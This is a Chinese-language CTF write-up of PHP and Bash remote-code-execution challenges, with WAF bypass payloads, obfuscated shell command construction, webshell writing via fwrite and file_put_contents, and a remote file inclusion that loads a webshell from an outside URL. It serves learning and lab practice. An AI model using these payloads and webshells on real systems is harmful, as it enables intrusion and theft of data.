欢迎光临
我们一直在努力

rce 相关实例

实例一

[UUCTF 2022 新生赛]ez_rce

源码

居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
   $code=$_GET['code'];
   if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\\$|\\*|\\+|\\^|scan|\\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
       echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
       eval($code);
  }
   else{
       die("你想干什么?????????");
  }
}
else{
   echo "居然都不输入参数,可恶!!!!!!!!!";
   show_source(__FILE__);
}

解一

使用``反引号,等价于exec("")

?code=print `whoami`;
//等效?code=print exec("whoami") ;
//等价于?code=print shell_exec("whoami");

//exec() 是一个PHP 命令执行函数,exec 只会返回最后一行
//shell_exec()= 命令执行函数
exec()和shell_exec() 必须配合 echo / print 才能输出

使用转义读取目录下文件,发现可疑文件

?code=print `l\\s /`;

//PHP / Linux 里,\\ 是转义符,它本身会被忽略,但不会影响命令执行!
但正则检测看不到\\被解析后的真实字符,就匹配不到关键字

读取可疑文件内容

?code=print `ta\\c fffffffffflagafag`;

//cat:正序读取文件内容
//tac:倒序读取文件内容

解二

//fwrite(fopen("shell.php", "w"), "<?php eval($_POST[1]);?>");

?code=fwrite(fopen(urldecode("%73%68%65%6c%6c%2e%70%68%70"),"w"),urldecode("%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e"));

?code=fwrite(fopen(urldecode("%2573%2568%2565%256c%256c%252e%2570%2568%2570"),"w"),urldecode("%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e"));

URL二次编码:PHP 自动解一层→保留 % xx 编码串,绕过正则;代码 urldecode 再解一层→得到真实内容

使用bp编码工具进行URL编码,其他编码也可使用,比较靠谱

使用hackbar进行部分URL二次编码

核心函数:fopen() 和 fwrite()

这两个是 PHP 的文件操作函数,它们的组合就是 “创建 / 打开文件 + 写入内容”。

① fopen(文件名, 模式)
  • 作用:打开或创建一个文件,并返回文件句柄(类似一个文件的 “钥匙”)
  • 第二个参数 "w" 表示写入模式:如果文件不存在则创建;如果存在则清空内容,从头写入。

② fwrite(文件句柄, 内容)
  • 作用:把指定的 “内容” 写入到 fopen 打开的文件里。

所以,这段代码的逻辑是:

  • 先通过 fopen 拿到文件的 “钥匙”

  • 再通过 fwrite 把木马内容写进去

  • urldecode() 函数的作用是把这些URL编码还原成原始字符串

    本地测试上传木马成功

    题目环境进行木马写入

    绕过成功

    上传成功

    可以直接利用,也可以使用蚁剑进行更加直观的管理

    蚁剑

    直接利用

    看下禁用函数

    由于拿到了webshell,不需要进行指令方面的绕过

    之前绕的,是题目代码里的 preg_match 正则过滤,当你写入 webshell 后,这个过滤逻辑就不存在了:

    • 你访问 shell.php 时,走的是你自己写的 eval($_POST['1'])

    • eval() 接收的是PHP 代码

    1=print shell_exec("cat /fffffffflagafag");

    实例二

    [SWPUCTF 2021 新生赛]finalrce

    无回显 RCE

    源码

    <?php
    highlight_file(__FILE__);
    if(isset($_GET['url']))
    {
       $url=$_GET['url'];
       if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\\-|\\*|\\"|\\>|\\<|\\%|\\$/i',$url))
      {
           echo "Sorry,you can't use this.";
      }
       else
      {
           echo "Can you see anything?";
           exec($url);
      }
    }

    执行命令 → 把结果写入文件 → 访问文件看内容

    http://node7.anna.nssctf.cn:23912/?url=l's' / | tee

    http://node7.anna.nssctf.cn:23912/?url=ca\\t /flllll\\aaaaaaggggggg |tee 2.txt


    //加引号就能绕过
    Linux 命令解析规则
    在 Linux 里:
    l's'
    l"s"
    l`s`
    都会被自动合并成 ls

    //|管道符:把左边命令的输出,交给右边命令处理
    //tee 1.txt把内容保存到 1.txt,同时也在屏幕打印但因为网页不回显,所以我们只需要 “保存到文件” 这个功能
    tee = 把命令输出的内容,保存到文件里

    实例三

    ez_rce

    code=echo`env`;

    RCE-Labs Level 专项训练

    level 6

    借鉴文章[Hello-CTF]RCE-Labs超详细WP-Level 6_rce-labs-level6-CSDN博客

    源码

    function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\\-\\+<>\\"|`;\\[\\]]/", $cmd)){
    die("WAF!");
    }
    system($cmd);
    }

    isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

    highlight_file(__FILE__);

    ?>

    可以利用的字符只有 数字, 小写a 和 ?,还有/

    ? 可以匹配任何一个单字符

    • 那么就可以通过 /??a? 对应 /flag, 系统正常情况下根目录中符合这个要求是没有的, 所以就可以索引到 flag 这个文件

    ?作为通配符只在路径中有效

    那我们要如何读取文件呢

    • cat虽说是命令, 但是其实也就是个程序

    • 只需要找到其路径, 直接通过路径访问就可以了

    /bin/cat /flag

    /???/?a? /??a?

    level 8

    三个默认通道(命令有回显的根源)

    所有 UNIX/Linux 命令运行时,默认绑定 3 个终端通道:

  • 标准输入 (stdin,文件描述符 0):命令从这里读数据 → 默认是你的键盘 / 终端

  • 标准输出 (stdout,文件描述符 1):命令正常输出 → 默认打印到终端屏幕

  • 标准错误 (stderr,文件描述符 2):命令报错信息 → 默认也打印到终端屏幕

  • 这就是你敲命令,结果 / 报错都会直接显示在屏幕上的原因。

    如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:$ command > /dev/null/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。

    但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。如果希望屏蔽 stdout 和 stderr,可以这样写:$ command > /dev/null 2>&1

    command > /dev/null 2>&1

    command:你要执行的命令
    > /dev/null:先把标准输出 (stdout) 丢进黑洞
    2>&1:核心!
    2 = 标准错误 (stderr)
    &1 = 引用标准输出的位置
    整体意思:把错误输出,定向到和标准输出同一个地方
    ?cmd=cat /flag|tee 2.txt;> /dev/null 2>&1

    ; 是命令分隔符:前一条结束,新开一条
    重定向 只能作用于它前面紧贴的那一条命令
    你把重定向扔在 ; 后面,前面的 cat|tee 根本不受影响
    可以通过;直接断绝重定向,无法将结果丢弃

    level 9

    源码及相关提示

    在这个关卡主要利用的是在终端中,$'\\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\\xxx\\xxx\\xxx\\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
    比如"ls -l"也就是$'\\154\\163\\40\\55\\154' 只能拆分为$'\\154\\163' 空格 $'\\55\\154'三部分。
    bash-5.1# $'\\154\\163\\40\\55\\154'
    bash: ls -l: command not found

    bash-5.1# $'\\154\\163' $'\\55\\154'
    total 4-rw-r–r– 1 www-data www-data 829 Aug 14 19:39 index.php
    function hello_shell($cmd){
    if(preg_match("/[A-Za-z\\"%*+,-.\\/:;=>?@[\\]^`|]/", $cmd)){
    die("WAF!");
    }
    system($cmd);
    }

    isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

    highlight_file(__FILE__);

    使用文本转八进制在线工具文本转八进制在线工具-将文本字符串转换为8进制编码,支持逗号,空格和反斜杠分隔符

    ?cmd=$'\\143\\141\\164' $'\\057\\146\\154\\141\\147'

    ?cmd=cat /flag

    level10

    考点:终端中支持 $((2#binary)) 解析二进制数据

    终端里的 $((2#binary)),是Bash 终端自带的进制转换语法,不需要任何工具,直接在命令行里就能把二进制转十进制

    二进制转十进制

    $((2#01100001))

    算出结果:97(ASCII 十进制编号)

    十进制 ASCII 码 → 字符

    方式一:printf 直接转

    printf "\\\\$(printf %x 97)"

    printf %x 97 :把十进制 97 转十六进制得到:61

    \\x61

    \\x 在终端里 = 这是一个十六进制 ASCII 码

    printf "\\x61"直接输出:a

    在 bash 里:要表示一个 \\ 反斜杠,必须写 \\ 两个,你写 两个 \\\\ → bash 才会保留一个 \\ 下来

    方式二:python 一行秒转(但是在rce环境里并不能使用python环境下的函数)

    chr(97)

    以上是相关知识的补充,但是感觉使用以上内容直接进行构造的话,还是会被拦,继续看源码,发现好像还是不会,先放着

    <?php
    function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\\"%*+,-.\\/:;=>?@[\\]^`|]/", $cmd)){
    die("WAF!");
    }
    system($cmd);
    }

    isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

    highlight_file(__FILE__);

    ?>

    只有0, 1, '(单引号), $, <, \\ , ( , )可以用

    借鉴学习了其他师傅的文章

    [Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)_rce-labs-level10-CSDN博客

    以下是相关知识的补充和payload的构造过程

    解一

    $((…))

    在 bash 中 $((…)) 是 算术扩展(Arithmetic Expansion) 的语法

    echo $((3 + 5)) # 输出 8
    echo $((10 / 2)) # 输出 5

    a=10
    b=5
    echo $((a + b)) # 输出 15

    而 2#binary 是 进制表示法(Base Notation), 表示把后面的二进制串, 转化为十进制

    同理 # 前面的 2 也可以是 8, 16, 36, 如下

    echo $((8#72)) # 输出 58
    echo $((16#1A)) # 输出 26
    echo $((36#Z)) # 输出 35

    $((2#binary))中存在数字2,会被waf拦,现在可用的数字有0,1,可以通过1进行左移位运算得到2

    $((1<<1)) 等效为2

    #在 $((1 << 1)) 里:1 本身就是十进制数字 1
    #<< 是位运算(二进制层面操作)
    #计算机存所有数字,底层本来就是二进制

    $(($((1<<1))#binary)) 套入到八进制转义中, 这里拿 ls 举例

    ls 转为八进制 -> \\154\\163
    使用八进制转义 -> $'\\154\\163'
    使用二进制替换 154 和 163, 这两个数现在当做十进制
    154 -> $((2#10011010)) -> $(($((1<<1))#10011010))
    163 -> $((2#10100011)) -> $(($((1<<1))#10100011))
    于是 $'\\154\\163' -> $'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))'

    但是使用 $'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))' 作为 Payload 时, 似乎并不能执行结果

    $'…'→ ANSI-C 转义字符串,能识别 \\154 这种八进制(即允许使用\\进行转义),转成字符→ 属于 参数扩展
    $(…) / `…`→ 命令替换→ 执行命令,把输出拿回来
    解析顺序
    参数扩展 > 算术扩展 > 命令替换

    我们希望的执行顺序:

    先算 $((…)) → 得到 154 / 163
    再把 \\154\\163 丢进 $'…' 转成 ls

    但 Shell 真实执行顺序:

    先执行 $'…'
    里面的 $((…)) 还没算
    $'…' 把 $((…)) 当成普通字符串,不解析!

    强制改变解析顺序使用 Here String 三重解析:<<<

    bash 中的特殊变量:
    ${0} 含义:当前脚本或 shell 的名字

    $0 = 当前脚本 或 当前 shell 的名字
    ${0} = 同上,只是花括号写法(更稳定、绕过更强)

    Here String 是 Bash 中的一种重定向方式,用于将字符串作为标准输入传递给命令。
    语法:
    命令 <<< "字符串"
    把右边的字符串,当作输入,传给左边的命令执行
    等价于:echo "字符串" | 命令

    尝试把 $'…' 再传入 $0 前, 保持原样
    这里想到了把 ' 进行转义, 即 $\\'…\\'

    Payload有了如下修改 $0<<<$\\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\\'

    \\ 与 $ 被作为一体了, 即 $ 不在是一个有特殊作用的字符, 而是被转义为纯字符 $, 也就不会作用于后面的 (())
    而 (()) 在bash中被检测为语法错误
    而为了解决这个问题, 只需要把 \\ 进行转义, 使其成为 \\字符, 而不是转义符, 即 \\ 替换为 \\\\,$ 可以正常起到$((…))算术扩展的作用

    最后得到如下 Payload: $0<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'

    解二

    使用对应工具构造符合同样解题原理的payload

    在线网址BashFuck Payload Generator

    直接把 Payload 复制到浏然器中进行 GET 请求, 并不能出flag

    1 这是因为 # 在URL中是特殊字符(# 以及后面的 #flag 被浏览器视为客户端锚点,仅用于在浏览器内部定位页面位置,不会出现在 HTTP 请求中), 如果要把 # 通过 GET 请求传输, 需要进行URL编码

    2 即 # -> %23

    Payload 如下

    ?cmd=$0<<<$0\\<\\<\\<\\$\\'\\\\$(($((1<<1))%2310001111))\\\\$(($((1<<1))%2310001101))\\\\$(($((1<<1))%2310100100))\\\\$(($((1<<1))%23101000))\\\\$(($((1<<1))%23111001))\\\\$(($((1<<1))%2310010010))\\\\$(($((1<<1))%2310011010))\\\\$(($((1<<1))%2310001101))\\\\$(($((1<<1))%2310010011))\\'

    level 11

    原理与实例七大概一致,注意一个点:${##} 来替换 1

    ${##}

    $#:Shell 内置特殊变量,代表当前脚本 / 函数的位置参数个数

    ${var##pattern}
    参数扩展语法:从变量 var 开头删掉最长匹配 pattern 的字符串。
    规则:必须有变量名 + ## + 匹配模式。

    在 Bash 中,${##} 等价于直接取值 $#,是Bash 专门的语法糖

    让豆包编写脚本后进行一键替换(# -> %23)

    level 12

    ${#} = 当前脚本的参数个数

    没有传参时 → 值 = 0

    ${##} = 写法变体,不是新变量

    等价于 ${#} → 值仍然 = 0

    ${!#}<<<${!#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${##}${#}${#}))\\'

    level 13

    $(()) + 取反 构造任意数字

    echo $(()) -> 0
    echo $((~$(()))) -> -1
    echo $(($((~$(())))$((~$(()))))) -> -2
    Bash 空算术扩展 $(())
    $(()) 是 Bash 的算术运算语法,如果括号里没有任何表达式,运算结果默认是 0:echo $(()) # 等价于 $((0)),输出 0

    按位取反运算符 ~
    ~ 是二进制按位取反(所有位 0 变 1,1 变 0),在计算机中,数字以补码存储,按位取反的数学公式:
    ~x = – (x + 1)

    构造payload:

    __=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\'\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))\\'

    尝试payload发现并不成功,传参的时候发现,&&会对结果有影响,url编码一下再传参

    level 14

    考点:7字符RCE

    <?php
    if(strlen($_GET[1]<8)){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
    }else{
    exit('too long');
    }

    highlight_file(__FILE__);

    ?>

    由于命令有长度限制,直接尝试以下命令即可通关

    ?1=cat /*
    ?1=cat /flag

    由于阅读了这位师傅的文章,我尝试了另一种写法

    >文件名 可以在当前目录下创建新文件
    > filename 是 Shell 的重定向操作。执行时,Shell 会直接在当前工作目录创建空文件 filename;若文件已存在,则清空其内容。

    命令执行结果>文件名 可以将命令执行结果输出到指定文件中

    使用 * 按 ASCII 字典序展开,首个元素作命令,其余为参数。
    ASCII 顺序:符号(如 -, .)< 数字(0-9)< 大写字母(A-Z)< 小写字母(a-z)
    ls 不加任何参数时,一定和 * 展开顺序相同

    首先我们使用?1=ls />d查看当前目录下的文件,并将结果输出到文件d中

    在确认是否存在flag的同时,也将d文件创建在当前目录下,注意文件名要选择ASCII字典序中靠后的元素,为后续*展开和利用当前目录下的文件名做准备,保证使用的命令可以作为第一个文件的名称

    然后使用?1=>cat创建空文件,后面可以考虑使用?1=ls>h验证当前目录下文件的排序,确保使用的命令成功排在第一位

    再使用*,可以展开利用文件cat d h,/* 匹配 / + (根目录里所有直接文件/目录)因此可以使用

    * /*>w
    等效于cat d h /bin /boot /dev …>w

    后续可以读取到在根目录下的所有文件内容,包含flag

    如果中途因为操作失误,导致目录下文件排序不理想,可以使用超过7字符的命令,让目录重新恢复初始状态

    level 17

    考点:PHP命令执行函数

    知识补充:

    system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');

    exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
    exec( 命令 , 存储结果的数组 )
    print_r() 是 PHP 用来打印数组 / 对象的函数

    shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');

    passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');

    popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
    popen(命令, 模式)
    打开进程管道,执行系统命令,返回资源类型句柄(文件流指针)
    fread(资源, 读取字节数) fread 是 PHP 读取文件 / 数据流的函数

    反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo `cat /etc/passwd`

    源码分析

    <?php
    // 开启SESSION会话,用来保存随机选中的函数,刷新页面不重置
    session_start();

    // 定义核心功能函数:接收两个参数,拼接并执行代码
    // $function:系统函数名或反引号 ``
    // $content:用户输入的内容
    function hello_ctf($function, $content){
    // 判断:如果随机拿到的是执行运算符 反引号 ``
    if($function == '``'){
    // 把用户输入内容前后包上反引号,组成执行命令的语法 `内容`
    $code = '`'.$content.'`';
    // 在页面输出拼接好的代码字符串
    echo "Your Code: $code <br>";
    // eval把字符串当做PHP代码执行,echo输出反引号执行后的系统命令结果
    eval("echo $code");
    }else // 如果不是反引号,是system/exec这类函数
    {
    // 拼接成标准PHP函数调用格式:函数名(用户输入);
    $code = $function . "(" . $content . ");";
    // 在页面输出拼接好的代码
    echo "Your Code: $code <br>";
    // eval直接执行拼接好的函数调用代码
    eval($code);
    }

    }

    // 定义函数:随机从危险列表里选一个执行函数,并存到SESSION
    function get_fun(){
    // 定义高危函数列表:全部可以执行系统命令,最后一个是反引号运算符
    $func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

    // 如果SESSION里还没有保存随机函数(第一次访问)
    if (!isset($_SESSION['random_func'])) {
    // 从数组中随机选一个,存入SESSION做持久保存
    $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }

    // 从SESSION中取出已经选中的随机函数
    $random_func = $_SESSION['random_func'];

    // 把函数名中的下划线_替换成横杠-,用于拼接官方手册网址
    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    // 三元运算:判断是反引号就输出对应提示,否则输出函数名和手册链接
    echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    // 返回SESSION中保存的随机函数,供外部调用
    return $_SESSION['random_func'];
    }

    // 入口控制函数:接收传入的动作参数$act,做不同逻辑处理
    function start($act){
    // 调用get_fun,获取随机分配的危险函数
    $random_func = get_fun();

    // 如果传入动作是 r ,代表重置函数
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
    // 清空SESSION变量
    session_unset();
    // 销毁当前会话,下次访问会重新随机选函数
    session_destroy();
    }

    // 如果传入动作是 submit ,代表提交用户输入并执行
    if ($act == "submit"){
    // 获取POST方式提交的content参数,也就是用户可控输入
    $user_content = $_POST['content'];
    // 调用核心执行函数,传入随机函数和用户输入
    hello_ctf($random_func, $user_content);
    }
    }

    // 判断URL中是否有GET参数action,有就调用start函数处理,没有就啥也不做
    isset($_GET['action']) ? start($_GET['action']) : '';

    // 在网页高亮显示当前整个PHP文件的源码,方便审计漏洞
    highlight_file(__FILE__);

    ?>

    操作

    获取随机函数

    if ($act == "submit"){
    $user_content = $_POST['content'];
    hello_ctf($random_func, $user_content);
    }

    使用POST传content–>要执行的命令

    函数是exec,由于其结果无法直接输出,需要配合print_r使用

    由于拼接方式如下

    $code = $function . "(" . $content . ");";

    content="cat /flag",$result);print_r($result);//
    使用//注释掉末尾的);,使其可以正常拼接其他命令

    以下是其他函数的通关方式

    所有函数的通杀方式(目前popen函数只有这种解法)
    content=);system('cat /flag'
    闭合原来的函数,直接使用其他可用并且结果直接回显的函数执行命令

    反引号使用如下方式
    content=`; system('ls /');//
    content=cat /flag|tee a
    content=cat /flag>a

    注意:content='cat /flag|tee a'的本质是tee将前一条命令执行结果复制一份后进行保存,如果说拼接的函数本身执行命令时执行结果无法直接显示在屏幕上,那么最后的执行效果自然就不会有,但是访问保存文件都是可以读取到flag的;而cat /flag>a是直接将结果重定向到a文件中的,只能通过访问a文件得到

    system()/passthru()
    content='cat /flag>a'
    content='cat /flag|tee a' 可以直接回显至屏幕上,也能访问a文件后进行相关内容的读取
    content="cat /flag"

    shell_exec()/exec()
    content='cat /flag>a'
    content='cat /flag|tee a' 不能在屏幕上得到回显,但是可以访问a文件进行查看

    level 19

    源码分析

    <?php
    function helloctf($code){
    $code = "file_put_contents(".$code.");";
    eval($code);
    }

    isset($_GET['c']) ? helloctf($_GET['c']) : '';

    highlight_file(__FILE__);

    ?>
    file_put_contents(文件名, 内容);
    作用:往文件里写内容

    解一

    URL编码的原因

    1.浏览器自带特殊字符截断规则

    浏览器地址栏有保留特殊符号,遇到直接截断,终止参数:

    & ? = # < > ' " % + 空格

    2.后端服务器会解析地址栏特殊字符

    PHP、Java、Python 后端默认会解析:

    # 直接代表锚点,# 后面所有内容直接丢弃不传后台

    & 代表新参数,把一句话拆成多个参数

    空格自动截断

    为什么用 $POST [a] 不用 $POST ['a'] 也能成功?

    当 PHP 看到
    $_POST[a]
    先找 常量 a,找不到常量 a
    PHP 会自动容错,把 a 当成 字符串 'a'
    最终效果 = $_POST['a']

    $_POST [a] (非标准写法)
    会产生一个 Notice 级错误,但 @ 抑制符会把错误吃掉,不影响功能,能绕过极个别简单过滤

    利用file_put_contents()写入木马 <?php @eval($_POST[a]); ?>

    由于担心直接解析成网址功能符,破坏命令的写入,对木马进行URL编码

    ?c='1.php','%3C%3Fphp%20%40eval(%24_POST%5Ba%5D)%3B%20%3F%3E'

    更标准的写法,防止第三个单引号和第四个单引号组一队,提前闭合,导致单引号闭合错误,后续用双引号,且将所有特殊字符全部进行URL编码

    单引号 ' '不解析变量

    '$_POST' → 原样输出 $_POST

    双引号 " "会解析 $ 开头的变量

    "$_POST" → 会被当成变量执行

    必须加 \\ 转义:\\$_POST

    file_put_contents('1.php',"<?php @eval(\\$_POST['a']);?>");
    ?c=%271.php%27%2C%22%3C%3Fphp%20%40eval(%5C%24_POST%5B%27a%27%5D)%3B%3F%3E%22

    访问1.php发现解析成功,接下来可以使用蚁剑连接或者直接进行传参

    蚁剑连接

    在根目录下获取flag

    NSSCTF{9b5c63d0-4a5d-4005-ae85-b1f9aac5cea1}

    直接传参

    或者可以查找下路径 a=system('ls /*/*');,看那些路径可以加以利用

    a=system("/bin/sh -c 'cat /flag'");

    解二

    直接闭合后执行新的命令

    ?c=);system('cat /flag');//

    level 20

    基础的文件上传流程,直接上传1.php,使用蚁剑连接,即可拿flag,直接传参好像用不了

    level 21

    源码

    <?php
    function helloctf($code){
    $code = "include(".$code.");";
    echo "Your includeCode : ".$code;
    eval($code);
    }

    isset($_POST['c']) ? helloctf($_POST['c']) : '';

    highlight_file(__FILE__);

    ?>

    直接包含文件

    c="/flag"

    include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出

    php伪协议

    c='php://filter/read=convert.base64-encode/resource=/flag'

    拼接闭合

    c='1.php');system('ls /'

    远程文件包含

    allow_url_fopen = On
    允许通过 URL(如 http:// 或 https://)读取远程文件

    allow_url_include = On
    允许通过 include() 执行远程 PHP 文件的代码

    题目给的链接显示木马内容

    https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

    <?php @eval($_POST['a']); ?>

    可以利用远程文件包含,调用木马

    c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

    readfile() = PHP 读取文件函数
    作用:直接读取文件内容,并输出到页面上

    c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=system('cat /flag');

    level 22

    PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

    try ?a=system&b=ls

    源码

    <?php
    isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

    highlight_file(__FILE__);

    ?>
    ?a=system&b=cat /flag

    level 23

    提示

    PHP 特性 – 自增

    自增通过一下几个特性实现:

    变量:
    在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

    数组->字符串:
    在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
    $_ = 1; var_dump($_); var_dump($_.'');
    这将会输出:int(1) string(1) "1"
    但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容
    所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array

    var_dump () 输出字符串时,固定用双引号包裹展示

    字符串:
    字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
    $_ = "Hello-CTF";var_dump($_[0]);
    这将会输出 string(1) "H"
    所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

    自增:
    这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
    当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

    所以通过特性的连用,你可以看到很多自增的Payload长这样:
    payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
    &__=system
    &_=ls

    自增题目的考点通常在Payload的长度限制

    源码

    <?php
    error_reporting(0);
    highlight_file(__FILE__);

    isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

    if(preg_match("/[a-zA-Z0-9@#%^&*:{}\\-<\\?>\\"|`~\\\\\\\\]/", $code)){
    die("WAF!");
    }else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
    }

    ?>

    可用字符:! $ ' ( ) + , . / ; = [ ] _

    ++$var(前置自增):先把变量 +1,再把「新值」传给 echo。
    $var++(后置自增):先把「当前值」传给 echo,再把变量 +1

    可以尝试利用自增性质构造以下语句

    assert( $_POST[_] );

    $_POST[_] 等价于 $_POST['_']
    assert()
    php中的代码执行函数
    作用:
    把括号里的内容,当作 PHP 代码 执行

    但是目前水平不够,使用作者大大直接给的payload进行传参利用

    payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);

    payload分析参考这位师傅RCE-labs 靶场通关_rce-labs靶场-CSDN博客

